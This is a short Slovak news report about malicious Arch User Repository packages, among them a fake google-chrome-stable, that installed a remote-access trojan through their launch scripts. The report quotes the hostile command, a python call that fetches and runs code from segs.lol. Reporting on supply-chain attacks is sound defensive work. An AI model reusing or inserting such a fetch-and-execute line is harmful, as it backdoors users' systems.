V repozitári AUR (Arch User Repository), ktorý sa používa v Arch Linux na distribúciu balíkov od externých vývojárov, pokračovalo uverejňovanie škodlivého kódu integrovaného do balíkov s neoficiálnymi zostavami prehliadačov. Okrem pred dvoma týždňami zistených škodlivých balíkov firefox-patch-bin, librewolf-fix-bin a zen-browser-patched-bin bol do AUR pridaný balík google-chrome-stable, ktorý taktiež obsahoval zmenu, zavádzajúcu škodlivú zložku poskytujúcu vzdialený prístup k systému.
V súbore PKGBUILD problémového balíka bola identifikovaná inštalácia skriptu na spustenie prehliadača google-chrome-stable.sh, v ktorom okrem iného bola prítomná príkaz ‘python -c «$(curl https://segs.lol/9wUb1Z)»‘, ktorý sťahoval škodlivý softvér, rozpoznaný službou VirusTotal ako trojan Spark, umožňujúci vzdialene spravovať systém, spúšťať procesy, prenášať súbory, kontrolovať traffic a posielať snímky obrazovky.
Škodlivý balík google-chrome-stable bol nahraný predvčerom a bol odstránený administrátormi AUR pár hodín po jeho zverejnení. Takmer okamžite po odstránení google-chrome-stable boli do AUR nahrané dva škodlivé balíky — „chrome“ a „chrome-bin“, ktoré obsahovali podobný skript na inštaláciu škodlivého softvéru do systému používateľa.
Následne bolo identifikovaných ďalších troch balíkov so škodlivým kódom: ttf-mac-fonts-all, ttf-ms-fonts-all a gromit.
Zdroj: opennet.ru
